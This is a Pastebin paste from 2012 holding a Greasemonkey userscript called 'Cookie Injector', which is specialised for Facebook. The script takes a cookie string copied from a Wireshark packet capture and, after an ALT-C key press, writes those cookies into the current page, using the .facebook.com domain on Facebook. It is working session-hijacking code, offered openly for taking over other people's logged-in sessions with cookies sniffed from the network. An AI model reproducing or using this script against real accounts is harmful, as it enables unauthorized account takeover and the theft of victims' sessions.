Advertisement
Guest User

Wireshark cookies injector, specialized for facebook

a guest
Apr 20th, 2012
754
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // ==UserScript==
  2. // @name           Cookie Injector
  3. // @namespace      BearsWithWings
  4. // @description    Inject Cookie String From Wireshark Dump Into Any Webpage
  5. // @version 2.0
  6. // @include        *
  7. // @exclude    https?://gmail.com/*
  8. // @exclude    https?://mail.google.com/*
  9. // ==/UserScript==
  10.  
  11. //Anonomyous function wrapper
  12. (function (){
  13.     //Ensure that there is only one instance of the cookieInjector Object
  14.     if(typeof this["cookieInjector"] == "undefined"){  
  15.         cookieInjector = {};
  16.     }  
  17.  
  18.     //Make a local refrence to the cookie Injector object to save on typing
  19.     var cI = cookieInjector;
  20.     //Make the cookieInjector object globally viewable
  21.     unsafeWindow['cookieInjector'] = cI;
  22.  
  23.     /**
  24.     * Gets the wireshark dump string and converts it into cookies
  25.     */
  26.     cI.writeCookie = function(){
  27.         var name = prompt("Cookie", "Enter the cookie here:");
  28.         var cookieText = cI.cleanCookie(name);
  29.        
  30.         //We have to add the cookies one at a time, so split around the colin
  31.         var cookieArray = cookieText.split(";");
  32.         for(var x=0; x<cookieArray.length; x++){
  33.             //We want the path to be the root, the host is filled in automatically
  34.             //since we are on the same webpage that we captured the cookies on
  35.             if (window.location.hostname=='www.facebook.com') {
  36.                 document.cookie = cookieArray[x]+"; domain=.facebook.com";
  37.             } else {
  38.                 document.cookie = cookieArray[x]+"; path=/";
  39.             }
  40.         }
  41.     }
  42.  
  43.     /**
  44.     * Do a little big of cleanup on the cookie string, Mostly we are looking
  45.     * To get rid of the "Cookie: " string that Wireshark prepends to the cookie string
  46.     */
  47.     cI.cleanCookie = function(cookieText){
  48.         var cookie = cookieText.replace("Cookie: ","");
  49.         return cookie;
  50.     }  
  51.    
  52.     /**
  53.     * Handle all keypresses, we are looking for an ALT-C key-combo. Since we can't detect
  54.     * Two keys being pressed at the same time, we first make sure the ALT key was pressed
  55.     * then we wait to see if the C key is pressed next
  56.     */
  57.     cI.keyPress = function (e){
  58.         //Check to see if "C" is pressed after ALT 
  59.         if(e.keyCode == 67 && cI.ctrlFire){
  60.             cI.writeCookie();
  61.         }
  62.  
  63.         //Make sure the Alt key was previously depressed
  64.         if(e.keyCode == 18){
  65.             cI.ctrlFire = true;
  66.         }else{
  67.             cI.ctrlFire = false;
  68.         }
  69.     }
  70.     window.addEventListener('keydown', cI.keyPress,'false');
  71. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement